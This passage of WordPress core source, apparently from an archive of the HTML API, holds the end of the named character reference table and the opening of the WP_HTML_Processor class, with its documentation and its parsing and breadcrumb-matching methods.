			// vsubnE;[⫋︀] vsubne;[⊊︀] vsupnE;[⫌︀] vsupne;[⊋︀] vscr;[𝓋].
			"\x05ubnE;\x06⫋︀\x05ubne;\x06⊊︀\x05upnE;\x06⫌︀\x05upne;\x06⊋︀\x03cr;\x04𝓋",
			// vzigzag;[⦚].
			"\x06igzag;\x03⦚",
			// wcirc;[ŵ].
			"\x04irc;\x02ŵ",
			// wedbar;[⩟] wedgeq;[≙] weierp;[℘] wedge;[∧].
			"\x05dbar;\x03⩟\x05dgeq;\x03≙\x05ierp;\x03℘\x04dge;\x03∧",
			// wfr;[𝔴].
			"\x02r;\x04𝔴",
			// wopf;[𝕨].
			"\x03pf;\x04𝕨",
			// wp;[℘].
			"\x01;\x03℘",
			// wreath;[≀] wr;[≀].
			"\x05eath;\x03≀\x01;\x03≀",
			// wscr;[𝓌].
			"\x03cr;\x04𝓌",
			// xcirc;[◯] xcap;[⋂] xcup;[⋃].
			"\x04irc;\x03◯\x03ap;\x03⋂\x03up;\x03⋃",
			// xdtri;[▽].
			"\x04tri;\x03▽",
			// xfr;[𝔵].
			"\x02r;\x04𝔵",
			// xhArr;[⟺] xharr;[⟷].
			"\x04Arr;\x03⟺\x04arr;\x03⟷",
			// xi;[ξ].
			"\x01;\x02ξ",
			// xlArr;[⟸] xlarr;[⟵].
			"\x04Arr;\x03⟸\x04arr;\x03⟵",
			// xmap;[⟼].
			"\x03ap;\x03⟼",
			// xnis;[⋻].
			"\x03is;\x03⋻",
			// xoplus;[⨁] xotime;[⨂] xodot;[⨀] xopf;[𝕩].
			"\x05plus;\x03⨁\x05time;\x03⨂\x04dot;\x03⨀\x03pf;\x04𝕩",
			// xrArr;[⟹] xrarr;[⟶].
			"\x04Arr;\x03⟹\x04arr;\x03⟶",
			// xsqcup;[⨆] xscr;[𝓍].
			"\x05qcup;\x03⨆\x03cr;\x04𝓍",
			// xuplus;[⨄] xutri;[△].
			"\x05plus;\x03⨄\x04tri;\x03△",
			// xvee;[⋁].
			"\x03ee;\x03⋁",
			// xwedge;[⋀].
			"\x05edge;\x03⋀",
			// yacute;[ý] yacute[ý] yacy;[я].
			"\x05cute;\x02ý\x04cute\x02ý\x03cy;\x02я",
			// ycirc;[ŷ] ycy;[ы].
			"\x04irc;\x02ŷ\x02y;\x02ы",
			// yen;[¥] yen[¥].
			"\x02n;\x02¥\x01n\x02¥",
			// yfr;[𝔶].
			"\x02r;\x04𝔶",
			// yicy;[ї].
			"\x03cy;\x02ї",
			// yopf;[𝕪].
			"\x03pf;\x04𝕪",
			// yscr;[𝓎].
			"\x03cr;\x04𝓎",
			// yucy;[ю] yuml;[ÿ] yuml[ÿ].
			"\x03cy;\x02ю\x03ml;\x02ÿ\x02ml\x02ÿ",
			// zacute;[ź].
			"\x05cute;\x02ź",
			// zcaron;[ž] zcy;[з].
			"\x05aron;\x02ž\x02y;\x02з",
			// zdot;[ż].
			"\x03ot;\x02ż",
			// zeetrf;[ℨ] zeta;[ζ].
			"\x05etrf;\x03ℨ\x03ta;\x02ζ",
			// zfr;[𝔷].
			"\x02r;\x04𝔷",
			// zhcy;[ж].
			"\x03cy;\x02ж",
			// zigrarr;[⇝].
			"\x06grarr;\x03⇝",
			// zopf;[𝕫].
			"\x03pf;\x04𝕫",
			// zscr;[𝓏].
			"\x03cr;\x04𝓏",
			// zwnj;[‌] zwj;[‍].
			"\x03nj;\x03‌\x02j;\x03‍",
		),
		"small_words" => "GT\x00LT\x00gt\x00lt\x00",
		"small_mappings" => array(
			">",
			"<",
			">",
			"<",
		)
	)
);
class-wp-html-processor.php000066600000640677152442706010012016 0ustar00<?php
/**
 * HTML API: WP_HTML_Processor class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used to safely parse and modify an HTML document.
 *
 * The HTML Processor class properly parses and modifies HTML5 documents.
 *
 * It supports a subset of the HTML5 specification, and when it encounters
 * unsupported markup, it aborts early to avoid unintentionally breaking
 * the document. The HTML Processor should never break an HTML document.
 *
 * While the `WP_HTML_Tag_Processor` is a valuable tool for modifying
 * attributes on individual HTML tags, the HTML Processor is more capable
 * and useful for the following operations:
 *
 *  - Querying based on nested HTML structure.
 *
 * Eventually the HTML Processor will also support:
 *  - Wrapping a tag in surrounding HTML.
 *  - Unwrapping a tag by removing its parent.
 *  - Inserting and removing nodes.
 *  - Reading and changing inner content.
 *  - Navigating up or around HTML structure.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *   1. Call a static creator method with your input HTML document.
 *   2. Find the location in the document you are looking for.
 *   3. Request changes to the document at that location.
 *
 * Example:
 *
 *     $processor = WP_HTML_Processor::create_fragment( $html );
 *     if ( $processor->next_tag( array( 'breadcrumbs' => array( 'DIV', 'FIGURE', 'IMG' ) ) ) ) {
 *         $processor->add_class( 'responsive-image' );
 *     }
 *
 * #### Breadcrumbs
 *
 * Breadcrumbs represent the stack of open elements from the root
 * of the document or fragment down to the currently-matched node,
 * if one is currently selected. Call WP_HTML_Processor::get_breadcrumbs()
 * to inspect the breadcrumbs for a matched tag.
 *
 * Breadcrumbs can specify nested HTML structure and are equivalent
 * to a CSS selector comprising tag names separated by the child
 * combinator, such as "DIV > FIGURE > IMG".
 *
 * Since all elements find themselves inside a full HTML document
 * when parsed, the return value from `get_breadcrumbs()` will always
 * contain any implicit outermost elements. For example, when parsing
 * with `create_fragment()` in the `BODY` context (the default), any
 * tag in the given HTML document will contain `array( 'HTML', 'BODY', … )`
 * in its breadcrumbs.
 *
 * Despite containing the implied outermost elements in their breadcrumbs,
 * tags may be found with the shortest-matching breadcrumb query. That is,
 * `array( 'IMG' )` matches all IMG elements and `array( 'P', 'IMG' )`
 * matches all IMG elements directly inside a P element. To ensure that no
 * partial matches erroneously match it's possible to specify in a query
 * the full breadcrumb match all the way down from the root HTML element.
 *
 * Example:
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //               ----- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'IMG' ) ) );
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //                                  ---- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'FIGCAPTION', 'EM' ) ) );
 *
 *     $html = '<div><img></div><img>';
 *     //                       ----- Matches here, because IMG must be a direct child of the implicit BODY.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'BODY', 'IMG' ) ) );
 *
 * ## HTML Support
 *
 * This class implements a small part of the HTML5 specification.
 * It's designed to operate within its support and abort early whenever
 * encountering circumstances it can't properly handle. This is
 * the principle way in which this class remains as simple as possible
 * without cutting corners and breaking compliance.
 *
 * ### Supported elements
 *
 * If any unsupported element appears in the HTML input the HTML Processor
 * will abort early and stop all processing. This draconian measure ensures
 * that the HTML Processor won't break any HTML it doesn't fully understand.
 *
 * The HTML Processor supports all elements other than a specific set:
 *
 *  - Any element inside a TABLE.
 *  - Any element inside foreign content, including SVG and MATH.
 *  - Any element outside the IN BODY insertion mode, e.g. doctype declarations, meta, links.
 *
 * ### Supported markup
 *
 * Some kinds of non-normative HTML involve reconstruction of formatting elements and
 * re-parenting of mis-nested elements. For example, a DIV tag found inside a TABLE
 * may in fact belong _before_ the table in the DOM. If the HTML Processor encounters
 * such a case it will stop processing.
 *
 * The following list illustrates some common examples of unexpected HTML inputs that
 * the HTML Processor properly parses and represents:
 *
 *  - HTML with optional tags omitted, e.g. `<p>one<p>two`.
 *  - HTML with unexpected tag closers, e.g. `<p>one </span> more</p>`.
 *  - Non-void tags with self-closing flag, e.g. `<div/>the DIV is still open.</div>`.
 *  - Heading elements which close open heading elements of another level, e.g. `<h1>Closed by </h2>`.
 *  - Elements containing text that looks like other tags but isn't, e.g. `<title>The <img> is plaintext</title>`.
 *  - SCRIPT and STYLE tags containing text that looks like HTML but isn't, e.g. `<script>document.write('<p>Hi</p>');</script>`.
 *  - SCRIPT content which has been escaped, e.g. `<script><!-- document.write('<script>console.log("hi")</script>') --></script>`.
 *
 * ### Unsupported Features
 *
 * This parser does not report parse errors.
 *
 * Normally, when additional HTML or BODY tags are encountered in a document, if there
 * are any additional attributes on them that aren't found on the previous elements,
 * the existing HTML and BODY elements adopt those missing attribute values. This
 * parser does not add those additional attributes.
 *
 * In certain situations, elements are moved to a different part of the document in
 * a process called "adoption" and "fostering." Because the nodes move to a location
 * in the document that the parser had already processed, this parser does not support
 * these situations and will bail.
 *
 * @since 6.4.0
 *
 * @see WP_HTML_Tag_Processor
 * @see https://html.spec.whatwg.org/
 */
class WP_HTML_Processor extends WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at any given time.
	 *
	 * HTML processing requires more bookmarks than basic tag processing,
	 * so this class constant from the Tag Processor is overwritten.
	 *
	 * @since 6.4.0
	 *
	 * @var int
	 */
	const MAX_BOOKMARKS = 100;

	/**
	 * Holds the working state of the parser, including the stack of
	 * open elements and the stack of active formatting elements.
	 *
	 * Initialized in the constructor.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Processor_State
	 */
	private $state;

	/**
	 * Used to create unique bookmark names.
	 *
	 * This class sets a bookmark for every tag in the HTML document that it encounters.
	 * The bookmark name is auto-generated and increments, starting with `1`. These are
	 * internal bookmarks and are automatically released when the referring WP_HTML_Token
	 * goes out of scope and is garbage-collected.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::$release_internal_bookmark_on_destruct
	 *
	 * @var int
	 */
	private $bookmark_counter = 0;

	/**
	 * Stores an explanation for why something failed, if it did.
	 *
	 * @see self::get_last_error
	 *
	 * @since 6.4.0
	 *
	 * @var string|null
	 */
	private $last_error = null;

	/**
	 * Stores context for why the parser bailed on unsupported HTML, if it did.
	 *
	 * @see self::get_unsupported_exception
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Unsupported_Exception|null
	 */
	private $unsupported_exception = null;

	/**
	 * Releases a bookmark when PHP garbage-collects its wrapping WP_HTML_Token instance.
	 *
	 * This function is created inside the class constructor so that it can be passed to
	 * the stack of open elements and the stack of active formatting elements without
	 * exposing it as a public method on the class.
	 *
	 * @since 6.4.0
	 *
	 * @var Closure|null
	 */
	private $release_internal_bookmark_on_destruct = null;

	/**
	 * Stores stack events which arise during parsing of the
	 * HTML document, which will then supply the "match" events.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event[]
	 */
	private $element_queue = array();

	/**
	 * Stores the current breadcrumbs.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	private $breadcrumbs = array();

	/**
	 * Current stack event, if set, representing a matched token.
	 *
	 * Because the parser may internally point to a place further along in a document
	 * than the nodes which have already been processed (some "virtual" nodes may have
	 * appeared while scanning the HTML document), this will point at the "current" node
	 * being processed. It comes from the front of the element queue.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event|null
	 */
	private $current_element = null;

	/**
	 * Context node if created as a fragment parser.
	 *
	 * @var WP_HTML_Token|null
	 */
	private $context_node = null;

	/*
	 * Public Interface Functions
	 */

	/**
	 * Creates an HTML processor in the fragment parsing mode.
	 *
	 * Use this for cases where you are processing chunks of HTML that
	 * will be found within a bigger HTML document, such as rendered
	 * block output that exists within a post, `the_content` inside a
	 * rendered site layout.
	 *
	 * Fragment parsing occurs within a context, which is an HTML element
	 * that the document will eventually be placed in. It becomes important
	 * when special elements have different rules than others, such as inside
	 * a TEXTAREA or a TITLE tag where things that look like tags are text,
	 * or inside a SCRIPT tag where things that look like HTML syntax are JS.
	 *
	 * The context value should be a representation of the tag into which the
	 * HTML is found. For most cases this will be the body element. The HTML
	 * form is provided because a context element may have attributes that
	 * impact the parse, such as with a SCRIPT tag and its `type` attribute.
	 *
	 * ## Current HTML Support
	 *
	 *  - The only supported context is `<body>`, which is the default value.
	 *  - The only supported document encoding is `UTF-8`, which is the default value.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Returns `static` instead of `self` so it can create subclass instances.
	 *
	 * @param string $html     Input HTML fragment to process.
	 * @param string $context  Context element for the fragment, must be default of `<body>`.
	 * @param string $encoding Text encoding of the document; must be default of 'UTF-8'.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_fragment( $html, $context = '<body>', $encoding = 'UTF-8' ) {
		if ( '<body>' !== $context || 'UTF-8' !== $encoding ) {
			return null;
		}

		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$context_processor = static::create_full_parser( "<!DOCTYPE html>{$context}", $encoding );
		if ( null === $context_processor ) {
			return null;
		}

		while ( $context_processor->next_tag() ) {
			if ( ! $context_processor->is_virtual() ) {
				$context_processor->set_bookmark( 'final_node' );
			}
		}

		if (
			! $context_processor->has_bookmark( 'final_node' ) ||
			! $context_processor->seek( 'final_node' )
		) {
			_doing_it_wrong( __METHOD__, __( 'No valid context element was detected.' ), '6.8.0' );
			return null;
		}

		return $context_processor->create_fragment_at_current_node( $html );
	}

	/**
	 * Creates an HTML processor in the full parsing mode.
	 *
	 * It's likely that a fragment parser is more appropriate, unless sending an
	 * entire HTML document from start to finish. Consider a fragment parser with
	 * a context node of `<body>`.
	 *
	 * UTF-8 is the only allowed encoding. If working with a document that
	 * isn't UTF-8, first convert the document to UTF-8, then pass in the
	 * converted HTML.
	 *
	 * @param string      $html                    Input HTML document to process.
	 * @param string|null $known_definite_encoding Optional. If provided, specifies the charset used
	 *                                             in the input byte stream. Currently must be UTF-8.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_full_parser( $html, $known_definite_encoding = 'UTF-8' ) {
		if ( 'UTF-8' !== $known_definite_encoding ) {
			return null;
		}
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$processor                             = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );
		$processor->state->encoding            = $known_definite_encoding;
		$processor->state->encoding_confidence = 'certain';

		return $processor;
	}

	/**
	 * Constructor.
	 *
	 * Do not use this method. Use the static creator methods instead.
	 *
	 * @access private
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::create_fragment()
	 *
	 * @param string      $html                                  HTML to process.
	 * @param string|null $use_the_static_create_methods_instead This constructor should not be called manually.
	 */
	public function __construct( $html, $use_the_static_create_methods_instead = null ) {
		parent::__construct( $html );

		if ( self::CONSTRUCTOR_UNLOCK_CODE !== $use_the_static_create_methods_instead ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: WP_HTML_Processor::create_fragment(). */
					__( 'Call %s to create an HTML Processor instead of calling the constructor directly.' ),
					'<code>WP_HTML_Processor::create_fragment()</code>'
				),
				'6.4.0'
			);
		}

		$this->state = new WP_HTML_Processor_State();

		$this->state->stack_of_open_elements->set_push_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::PUSH, $provenance );

				$this->change_parsing_namespace( $token->integration_node_type ? 'html' : $token->namespace );
			}
		);

		$this->state->stack_of_open_elements->set_pop_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || ! $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::POP, $provenance );

				$adjusted_current_node = $this->get_adjusted_current_node();

				if ( $adjusted_current_node ) {
					$this->change_parsing_namespace( $adjusted_current_node->integration_node_type ? 'html' : $adjusted_current_node->namespace );
				} else {
					$this->change_parsing_namespace( 'html' );
				}
			}
		);

		/*
		 * Create this wrapper so that it's possible to pass
		 * a private method into WP_HTML_Token classes without
		 * exposing it to any public API.
		 */
		$this->release_internal_bookmark_on_destruct = function ( string $name ): void {
			parent::release_bookmark( $name );
		};
	}

	/**
	 * Creates a fragment processor at the current node.
	 *
	 * HTML Fragment parsing always happens with a context node. HTML Fragment Processors can be
	 * instantiated with a `BODY` context node via `WP_HTML_Processor::create_fragment( $html )`.
	 *
	 * The context node may impact how a fragment of HTML is parsed. For example, consider the HTML
	 * fragment `<td />Inside TD?</td>`.
	 *
	 * A BODY context node will produce the following tree:
	 *
	 *     └─#text Inside TD?
	 *
	 * Notice that the `<td>` tags are completely ignored.
	 *
	 * Compare that with an SVG context node that produces the following tree:
	 *
	 *     ├─svg:td
	 *     └─#text Inside TD?
	 *
	 * Here, a `td` node in the `svg` namespace is created, and its self-closing flag is respected.
	 * This is a peculiarity of parsing HTML in foreign content like SVG.
	 *
	 * Finally, consider the tree produced with a TABLE context node:
	 *
	 *     └─TBODY
	 *       └─TR
	 *         └─TD
	 *           └─#text Inside TD?
	 *
	 * These examples demonstrate how important the context node may be when processing an HTML
	 * fragment. Special care must be taken when processing fragments that are expected to appear
	 * in specific contexts. SVG and TABLE are good examples, but there are others.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#html-fragment-parsing-algorithm
	 *
	 * @since 6.8.0
	 *
	 * @param string $html Input HTML fragment to process.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	private function create_fragment_at_current_node( string $html ) {
		if ( $this->get_token_type() !== '#tag' || $this->is_tag_closer() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The context element must be a start tag.' ),
				'6.8.0'
			);
			return null;
		}

		$tag_name  = $this->current_element->token->node_name;
		$namespace = $this->current_element->token->namespace;

		if ( 'html' === $namespace && self::is_void( $tag_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like INPUT or BR.
					__( 'The context element cannot be a void element, found "%s".' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		/*
		 * Prevent creating fragments at nodes that require a special tokenizer state.
		 * This is unsupported by the HTML Processor.
		 */
		if (
			'html' === $namespace &&
			in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', 'PLAINTEXT' ), true )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like IFRAME or TEXTAREA.
					__( 'The context element "%s" is not supported.' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		$fragment_processor = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );

		$fragment_processor->compat_mode = $this->compat_mode;

		// @todo Create "fake" bookmarks for non-existent but implied nodes.
		$fragment_processor->bookmarks['root-node'] = new WP_HTML_Span( 0, 0 );
		$root_node                                  = new WP_HTML_Token(
			'root-node',
			'HTML',
			false
		);
		$fragment_processor->state->stack_of_open_elements->push( $root_node );

		$fragment_processor->bookmarks['context-node']   = new WP_HTML_Span( 0, 0 );
		$fragment_processor->context_node                = clone $this->current_element->token;
		$fragment_processor->context_node->bookmark_name = 'context-node';
		$fragment_processor->context_node->on_destroy    = null;

		$fragment_processor->breadcrumbs = array( 'HTML', $fragment_processor->context_node->node_name );

		if ( 'TEMPLATE' === $fragment_processor->context_node->node_name ) {
			$fragment_processor->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
		}

		$fragment_processor->reset_insertion_mode_appropriately();

		/*
		 * > Set the parser's form element pointer to the nearest node to the context element that
		 * > is a form element (going straight up the ancestor chain, and including the element
		 * > itself, if it is a form element), if any. (If there is no such form element, the
		 * > form element pointer keeps its initial value, null.)
		 */
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			if ( 'FORM' === $element->node_name && 'html' === $element->namespace ) {
				$fragment_processor->state->form_element                = clone $element;
				$fragment_processor->state->form_element->bookmark_name = null;
				$fragment_processor->state->form_element->on_destroy    = null;
				break;
			}
		}

		$fragment_processor->state->encoding_confidence = 'irrelevant';

		/*
		 * Update the parsing namespace near the end of the process.
		 * This is important so that any push/pop from the stack of open
		 * elements does not change the parsing namespace.
		 */
		$fragment_processor->change_parsing_namespace(
			$this->current_element->token->integration_node_type ? 'html' : $namespace
		);

		return $fragment_processor;
	}

	/**
	 * Stops the parser and terminates its execution when encountering unsupported markup.
	 *
	 * @throws WP_HTML_Unsupported_Exception Halts execution of the parser.
	 *
	 * @since 6.7.0
	 *
	 * @param string $message Explains support is missing in order to parse the current node.
	 */
	private function bail( string $message ) {
		$here  = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$token = substr( $this->html, $here->start, $here->length );

		$open_elements = array();
		foreach ( $this->state->stack_of_open_elements->stack as $item ) {
			$open_elements[] = $item->node_name;
		}

		$active_formats = array();
		foreach ( $this->state->active_formatting_elements->walk_down() as $item ) {
			$active_formats[] = $item->node_name;
		}

		$this->last_error = self::ERROR_UNSUPPORTED;

		$this->unsupported_exception = new WP_HTML_Unsupported_Exception(
			$message,
			$this->state->current_token->node_name,
			$here->start,
			$token,
			$open_elements,
			$active_formats
		);

		throw $this->unsupported_exception;
	}

	/**
	 * Returns the last error, if any.
	 *
	 * Various situations lead to parsing failure but this class will
	 * return `false` in all those cases. To determine why something
	 * failed it's possible to request the last error. This can be
	 * helpful to know to distinguish whether a given tag couldn't
	 * be found or if content in the document caused the processor
	 * to give up and abort processing.
	 *
	 * Example
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<template><strong><button><em><p><em>' );
	 *     false === $processor->next_tag();
	 *     WP_HTML_Processor::ERROR_UNSUPPORTED === $processor->get_last_error();
	 *
	 * @since 6.4.0
	 *
	 * @see self::ERROR_UNSUPPORTED
	 * @see self::ERROR_EXCEEDED_MAX_BOOKMARKS
	 *
	 * @return string|null The last error, if one exists, otherwise null.
	 */
	public function get_last_error(): ?string {
		return $this->last_error;
	}

	/**
	 * Returns context for why the parser aborted due to unsupported HTML, if it did.
	 *
	 * This is meant for debugging purposes, not for production use.
	 *
	 * @since 6.7.0
	 *
	 * @see self::$unsupported_exception
	 *
	 * @return WP_HTML_Unsupported_Exception|null
	 */
	public function get_unsupported_exception() {
		return $this->unsupported_exception;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @todo Support matching the class name and tag name.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Visits all tokens, including virtual ones.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type string      $tag_closers  'visit' to pause at tag closers, 'skip' or unset to only visit openers.
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string[]    $breadcrumbs  DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                                     May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$visit_closers = isset( $query['tag_closers'] ) && 'visit' === $query['tag_closers'];

		if ( null === $query ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		if ( is_string( $query ) ) {
			$query = array( 'breadcrumbs' => array( $query ) );
		}

		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Please pass a query array to this function.' ),
				'6.4.0'
			);
			return false;
		}

		if ( isset( $query['tag_name'] ) ) {
			$query['tag_name'] = strtoupper( $query['tag_name'] );
		}

		$needs_class = ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) )
			? $query['class_name']
			: null;

		if ( ! ( array_key_exists( 'breadcrumbs', $query ) && is_array( $query['breadcrumbs'] ) ) ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( isset( $query['tag_name'] ) && $query['tag_name'] !== $this->get_token_name() ) {
					continue;
				}

				if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		$breadcrumbs  = $query['breadcrumbs'];
		$match_offset = isset( $query['match_offset'] ) ? (int) $query['match_offset'] : 1;

		while ( $match_offset > 0 && $this->next_token() ) {
			if ( '#tag' !== $this->get_token_type() || $this->is_tag_closer() ) {
				continue;
			}

			if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
				continue;
			}

			if ( $this->matches_breadcrumbs( $breadcrumbs ) && 0 === --$match_offset ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * @since 6.5.0 Added for internal support; do not use.
	 * @since 6.7.2 Refactored so subclasses may extend.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->next_visitable_token();
	}

	/**
	 * Ensures internal accounting is maintained for HTML semantic rules while
	 * the underlying Tag Processor class is seeking to a bookmark.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * Note that this method may call itself recursively. This is why it is not
	 * implemented as {@see WP_HTML_Processor::next_token()}, which instead calls
	 * this method similarly to how {@see WP_HTML_Tag_Processor::next_token()}
	 * calls the {@see WP_HTML_Tag_Processor::base_class_next_token()} method.
	 *
	 * @since 6.7.2 Added for internal support.
	 *
	 * @access private
	 *
	 * @return bool
	 */
	private function next_visitable_token(): bool {
		$this->current_element = null;

		if ( isset( $this->last_error ) ) {
			return false;
		}

		/*
		 * Prime the events if there are none.
		 *
		 * @todo In some cases, probably related to the adoption agency
		 *       algorithm, this call to step() doesn't create any new
		 *       events. Calling it again creates them. Figure out why
		 *       this is and if it's inherent or if it's a bug. Looping
		 *       until there are events or until there are no more
		 *       tokens works in the meantime and isn't obviously wrong.
		 */
		if ( empty( $this->element_queue ) && $this->step() ) {
			return $this->next_visitable_token();
		}

		// Process the next event on the queue.
		$this->current_element = array_shift( $this->element_queue );
		if ( ! isset( $this->current_element ) ) {
			// There are no tokens left, so close all remaining open elements.
			while ( $this->state->stack_of_open_elements->pop() ) {
				continue;
			}

			return empty( $this->element_queue ) ? false : $this->next_visitable_token();
		}

		$is_pop = WP_HTML_Stack_Event::POP === $this->current_element->operation;

		/*
		 * The root node only exists in the fragment parser, and closing it
		 * indicates that the parse is complete. Stop before popping it from
		 * the breadcrumbs.
		 */
		if ( 'root-node' === $this->current_element->token->bookmark_name ) {
			return $this->next_visitable_token();
		}

		// Adjust the breadcrumbs for this event.
		if ( $is_pop ) {
			array_pop( $this->breadcrumbs );
		} else {
			$this->breadcrumbs[] = $this->current_element->token->node_name;
		}

		// Avoid sending close events for elements which don't expect a closing.
		if ( $is_pop && ! $this->expects_closer( $this->current_element->token ) ) {
			return $this->next_visitable_token();
		}

		return true;
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return $this->is_virtual()
			? ( WP_HTML_Stack_Event::POP === $this->current_element->operation && '#tag' === $this->get_token_type() )
			: parent::is_tag_closer();
	}

	/**
	 * Indicates if the currently-matched token is virtual, created by a stack operation
	 * while processing HTML, rather than a token found in the HTML text itself.
	 *
	 * @since 6.6.0
	 *
	 * @return bool Whether the current token is virtual.
	 */
	private function is_virtual(): bool {
		return (
			isset( $this->current_element->provenance ) &&
			'virtual' === $this->current_element->provenance
		);
	}

	/**
	 * Indicates if the currently-matched tag matches the given breadcrumbs.
	 *
	 * A "*" represents a single tag wildcard, where any tag matches, but not no tags.
	 *
	 * At some point this function _may_ support a `**` syntax for matching any number
	 * of unspecified tags in the breadcrumb stack. This has been intentionally left
	 * out, however, to keep this function simple and to avoid introducing backtracking,
	 * which could open up surprising performance breakdowns.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><span><figure><img></figure></span></div>' );
	 *     $processor->next_tag( 'img' );
	 *     true  === $processor->matches_breadcrumbs( array( 'figure', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', 'figure', 'img' ) );
	 *     false === $processor->matches_breadcrumbs( array( 'span', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', '*', 'img' ) );
	 *
	 * @since 6.4.0
	 *
	 * @param string[] $breadcrumbs DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                              May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
